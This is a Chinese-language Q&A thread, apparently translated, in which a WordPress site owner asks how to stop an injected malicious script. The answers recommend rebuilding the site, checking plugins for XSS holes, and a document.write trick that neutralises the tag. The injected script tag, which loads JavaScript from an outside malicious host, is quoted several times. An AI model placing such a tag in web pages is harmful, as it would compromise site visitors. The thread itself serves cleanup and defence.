阻止恶意软件javascript执行

Question

我正在使用一个wordpress网站，我发现了一个恶意的脚本，每当我试图保存页面并点击WYSIWYG中的文本面板时，一个恶意的javascript标签就会自动添加到页面上。下面是自动添加的脚本。

<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

我尝试通过以下代码删除src文件。但是它不起作用，脚本在body标记结束之前最后执行。我尝试使用此脚本，但恶意软件脚本在所有javascript加载后加载。这是我的代码。

<script type="text/javascript">
$("script[src='http://cracks4free.info/5/adds.js']").remove()
</script> 

我需要删除这段代码，或者阻止这段代码通过javasript、jquery、ajax执行。我只想摆脱这一切。谢谢

Answer 1

如果你的服务器已经被攻破，你需要重建它：

1. 使用最新的wordpress版本将现有wordpress导出到框
2. 导入您的wordpress应用安全更新

尝试使用javascript来清理内容不是一个解决方案。你的Wordpress安装已经被攻破了，其他脚本爱好者添加他们自己的个人风格，或者更糟糕的事情发生，这只是个时间问题。

Answer 2

似乎你的一个Wordpress插件对XSS (跨站脚本)是易受攻击的，我建议你在网页上扫描这个插件的漏洞。您可以自己扫描插件的源代码，查找盲目地将用户发送回javascript而不进行适当转义的内容。

你应该听从Hamish的建议，我的建议只是包含在这里，这样你就不会重新安装有问题的插件。

Answer 3

您可以在恶意软件脚本通过JavaScript执行之前插入新脚本标记的开头：

document.write("<script type='application/x-suppress'>");

基本上在这里，您开始了一个新的<script>块，但没有完成它，假设接下来发生的事情是恶意软件在最后插入它的块

<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

最终的结果将是

<script type='application/x-suppress'><script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

接下来，浏览器将看到第一个<script>标记，并期望其中的所有内容都是JavaScript代码。当它试图解析脚本(<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async="">)时，它将导致JavaScript解析错误，并且不会执行任何操作。最后，您的<script>块将通过恶意软件提供的</script>关闭。

真正的问题是，为什么你会有这个恶意软件，你如何才能摆脱它？而不是试图绕过它。